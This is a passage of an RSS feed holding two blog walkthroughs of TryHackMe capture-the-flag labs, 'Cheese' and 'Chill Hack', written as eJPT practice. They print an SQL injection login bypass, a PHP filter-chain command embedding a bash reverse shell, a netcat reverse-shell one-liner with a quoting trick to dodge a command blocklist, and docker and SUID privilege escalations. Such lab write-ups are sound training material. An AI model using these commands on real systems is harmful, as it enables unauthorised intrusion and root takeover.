blog! Wishing you a wonderful and enriching learning journey ahead!</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=84b01e4ae10b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT v2 : Challenge Lab 26: Cheese]]></title>
            <link>https://medium.com/@dhanushcool2410/ejpt-v2-challenge-lab-26-cheese-7dd39a0e722d?source=rss-ba6df77c4f94------2</link>
            <guid isPermaLink="false">https://medium.com/p/7dd39a0e722d</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Dhanushkumar R]]></dc:creator>
            <pubDate>Wed, 19 Nov 2025 12:56:35 GMT</pubDate>
            <atom:updated>2025-11-20T09:06:40.598Z</atom:updated>
            <content:encoded><![CDATA[<h3>eJPT v2 : Challenge Lab 26: Cheese</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*_jJbC66Xp1N23bA3IDcTgw.png" /></figure><blockquote><strong><em>Introduction</em></strong></blockquote><p>Hey Guys, welcome back to “<strong>eJPT Challenge Lab</strong>” series!</p><p><strong>Overview &amp; Practice Labs</strong> — <a href="https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b">https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b</a></p><p>In our previous post, we explored <a href="https://tryhackme.com/room/chillhack"><strong>Challenge Lab 25: Chill Hack.</strong></a><strong> </strong>Now will move into <a href="https://tryhackme.com/room/cheesectfv10"><strong>Challenge Lab 26: Cheese.</strong></a></p><p>This lab will help you practice and improve your ability to scan networks, connect to systems, giving you hands-on experience with essential penetration testing tools.</p><blockquote><strong><em>Challenge</em></strong></blockquote><p>Started with an Nmap scan , which revealed multiple open ports, and from those I identified that the HTTP service was running on ports 80 and 443.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SMiN768QK5ssF5cPkx4jZQ.png" /></figure><p>Navigated to port 80 and found a webpage called <strong>Cheese Shop</strong>, where I was able to locate a login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gKRmy3ZPg6YohQgIjrj7RA.png" /></figure><p>On the login page, I noticed fields for username and password, so I attempted an SQL injection payload and successfully bypassed authentication using ‘||’1&#39;=’1&#39;; — -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1sNM53FJn_OAANl5vf0NpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*Qc2W-2FLmFM8ov0c5a2Q_g.png" /></figure><p>After successfully logging in, I reached the Admin panel of the shop, where I discovered a page called <strong>Message</strong>. Navigating to this link revealed a <strong>file parameter</strong> in the URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*enzPLX_39hGJx7_pjhbK7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MLPbtYzJoL6hxdtc9Y3d_w.png" /></figure><p>Tested the file parameter to view /etc/passwd and confirmed that the application was vulnerable to <strong>Local File Inclusion (LFI)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3uXITkX3mUelP7xukFllSw.png" /></figure><p>Decided to generate a reverse shell payload using a PHP filter chain generator.</p><p>git clone <a href="https://github.com/synacktiv/php_filter_chain_generator.git">https://github.com/synacktiv/php_filter_chain_generator.git</a></p><p>cd php_filter_chain_generator</p><p>python3 php_filter_chain_generator.py — chain “&lt;?php exec(‘/bin/bash -c \”bash -i &gt;&amp; /dev/tcp/YOUR-IP/4444 0&gt;&amp;1\”’); ?&gt;” | grep “^php” &gt; payload.txt</p><p>Passed the payload through the file parameter, executed it, and obtained a reverse shell by listening with a Netcat listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p_Tlq-VOj3uSzbgNtgl5vA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iMa5gz6CfWb1SA6GN71Dug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e9SdGUpzbNd3fpRTNvRhXQ.png" /></figure><p>Navigated to the /home/comte directory and discovered a file named user.txt, but attempting to read it using cat returned a <strong>permission denied</strong> error.</p><p>Listed hidden directories using ls -al and found a .ssh directory containing an authorized_keys file, which unexpectedly had read and write permissions for everyone, giving me the opportunity to modify it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QJ7DJD2xOKgOS_4oIg6rQg.png" /></figure><p>Generated an SSH key using ssh-keygen and replaced the contents of the authorized_keys file with the newly generated public key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1dqRqq80V-gPojAgQ9rbBA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ebPQRm100lJOJ8Mghl70Pg.png" /></figure><p>Logged into the SSH shell as the comte user using the authorized key and was then able to read the user.txt file containing the first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*67r-g8ZTM7xJGstUvHQChw.png" /></figure><p>Ran the sudo -l command to enumerate privileges and found that I could execute the /bin/systemctl command as root.</p><p>Found an editable and executable service inside /etc/systemd/system and inspected the exploit.timer file, then modified it by setting the execution time to 3 seconds.</p><p>Checked the exploit.service file and observed that it contained commands to copy the xxd binary to the /opt directory and set the SUID bit on it, which meant that when the service executed, the copied binary would run with root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WD5RwGfOv40NvIXeS2LUmQ.png" /></figure><p>Started the exploit.timer, after which the service created the SUID xxd binary in /opt, owned by root. Used a payload from GTFOBins to execute the SUID binary and escalate privileges to root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2tLIaIZyQq3EFyiDbgx4Ig.png" /></figure><p>Gained full root access and retrieved the root flag, completing the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mm16AEXEsarPLaz-y-tDfg.png" /></figure><blockquote><strong>Thank you for reading my blog! Wishing you a wonderful and enriching learning journey ahead!</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7dd39a0e722d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eJPT v2 : Challenge Lab 25: Chill Hack]]></title>
            <link>https://medium.com/@dhanushcool2410/ejpt-v2-challenge-lab-25-chill-hack-125243f496c5?source=rss-ba6df77c4f94------2</link>
            <guid isPermaLink="false">https://medium.com/p/125243f496c5</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Dhanushkumar R]]></dc:creator>
            <pubDate>Thu, 06 Nov 2025 07:38:18 GMT</pubDate>
            <atom:updated>2025-11-06T07:38:18.129Z</atom:updated>
            <content:encoded><![CDATA[<h3>eJPT v2 : Challenge Lab 25: Chill Hack</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*_jJbC66Xp1N23bA3IDcTgw.png" /></figure><blockquote><strong><em>Introduction</em></strong></blockquote><p>Hey Guys, welcome back to “<strong>eJPT Challenge Lab</strong>” series!</p><p><strong>Overview &amp; Practice Labs</strong> — <a href="https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b">https://medium.com/@dhanushcool2410/ejpt-v2-cert-overview-practice-labs-21a30b86765b</a></p><p>In our previous post, we explored <a href="https://tryhackme.com/room/retro"><strong>Challenge Lab 24: Retro.</strong></a><strong> </strong>Now will move into <a href="https://tryhackme.com/room/chillhack"><strong>Challenge Lab 25: Chill Hack.</strong></a></p><p>This lab will help you practice and improve your ability to scan networks, connect to systems, giving you hands-on experience with essential penetration testing tools.</p><blockquote><strong><em>Challenge</em></strong></blockquote><p>I started with an Nmap scan using script and version detection; the scan revealed open ports <strong>21 (FTP)</strong>, <strong>22 (SSH)</strong>, and <strong>80 (HTTP)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*64yhVKesnwqzmPoV2TKOkQ.png" /></figure><p>I navigated to port <strong>80</strong> and found a webpage called <strong>Game Info</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BfFhi4TG7Ngrz5Ym28ZABw.png" /></figure><p>I used <strong>gobuster</strong> to discover hidden directories and found the <strong>/secret</strong> directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6bGsmBFnyPEcSFopbJwWNQ.png" /></figure><p>Navigating to <strong>/secret</strong> loaded a web command terminal in the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QE7SbheCwJm0dPO0i2htTg.png" /></figure><p>I tried common commands like id, pwd, and ls; some were blocked, but I discovered that inserting \ or single quotes between letters allowed execution (e.g., l’s’ or l\s).</p><p>Using that trick, I adapted a <strong>normal reverse shell command</strong> : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.22.44.165 1111 &gt;/tmp/f</p><p>into the <strong>modified form</strong> : r’m’ /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.22.44.165 1111 &gt;/tmp/f, started a Netcat listener, and obtained a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AZE_QS-dqR6AOc7ljv9Iww.png" /></figure><ul><li>In the home directory of <strong>apaar</strong>, I found a script .helpline.sh; sudo -l showed I could run the script as <strong>apaar</strong>.</li><li>Running the script prompted for input; after inspecting how it processed input, I supplied /bin/bash for both $person and $msg, which gave me a shell as <strong>apaar</strong>, then stabilized it with python3 -c ‘import pty;pty.spawn(“/bin/bash”)’.</li><li>As <strong>apaar</strong>, I read the user flag in local.txt.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4sR0XV5ZRpe_5ZHcylfbvw.png" /></figure><ul><li>During further enumeration I found a files directory in /var/www alongside the html directory containing four files; index.php revealed database credentials.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y-HjtMGVjVpIPibQwTO7FQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dx0V8eNZFud6PXDV1JKANg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fZoviwVXqV1Lly9ET4WjKQ.png" /></figure><ul><li>Using those credentials I accessed the <strong>web portal</strong> database, found a <strong>users</strong> table with two username/password hashes, and used <strong>CrackStation</strong> to crack both hashes, but the credentials did not work for login.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ccyBy73dgxkr9QX6F6_MNw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n9OTloCFGKGM4KRmq6OKqA.png" /></figure><p>I downloaded images from the images directory (wget <a href="http://%3Cip%3E:PORT/Image_name.jpg">http://&lt;IP&gt;:PORT/Image_name.jpg</a>) and ran <strong>stegseek</strong>, which revealed an embedded zip file;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GcrQSHZIBmbDAiRlB6YZWQ.png" /></figure><p>I converted the zip to a hash with zip2john and cracked it with <strong>John the Ripper</strong> to obtain the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BiIOlX2U3wZtUg9YVIrZ_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UshpM2CZXlUJRK0YRRovdw.png" /></figure><p>Unzipping the archive revealed a PHP source file that contained a Base64-encoded password for user <strong>Anurodh</strong>, which I decoded to get the plaintext password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ngANvGJkbQdkwz-JXiZiOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QQnj0DGNzRPxHp6zu50Czw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NbU6NncmvEKwxKEX1x2_BQ.png" /></figure><p>I used the Anurodh credentials to SSH into the box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0uuiB81hml1jE0Pp6sLCrg.png" /></figure><p>we found that this user had Docker privileges, used the GTFOBins technique</p><p>docker run -v /:/mnt — rm -it alpine chroot /mnt sh,</p><p>escalated to root and read the root flag in proof.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5jD8eKHzrdRWC0-wwwD8Og.png" /></figure><blockquote><strong><em>Thank you for reading my blog! Wishing you a wonderful and enriching learning journey ahead!</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=125243f496c5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>